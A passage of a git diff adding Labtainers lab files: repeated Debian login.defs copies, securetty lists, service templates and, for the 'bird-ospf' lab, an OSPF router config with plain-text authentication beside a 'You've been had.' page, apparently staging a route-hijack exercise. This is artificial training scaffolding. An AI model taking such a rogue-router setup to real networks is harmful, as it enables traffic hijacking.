still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..b50dd865e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/_system/usr/local/etc/bird.conf @@ -0,0 +1,54 @@ +/* + * Route server configuration for 20525 + */ + +log "/var/log/bird.log" all; + + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +#protocol static STATIC4 { +# ipv4 { preference 110; }; +#} + +#### +# Protocol template + +protocol ospf { + ipv4{ + import all; + export filter { + ospf_metric1 = 1000; + if source = RTS_STATIC then accept; else reject; + }; + }; + + area 0 { + interface "eth0" { + cost 5; + type broadcast; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "????"; + }; + }; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/index.html new file mode 100644 index 000000000..bd0babbc8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/w3/index.html @@ -0,0 +1 @@ +You've been had. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/MyHTTPServer.py similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/web_server/MyHTTPServer.py rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/MyHTTPServer.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..06e63daf4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,13 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www/html +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/var/www/html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/var/www/html/index.html new file mode 100644 index 000000000..04d6b0938 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/wx/_system/var/www/html/index.html @@ -0,0 +1,12 @@ +/www/html/index.html + + + + +

Some Place Special

+ +

Watch this space!

+ + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/buf64/buf64/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# 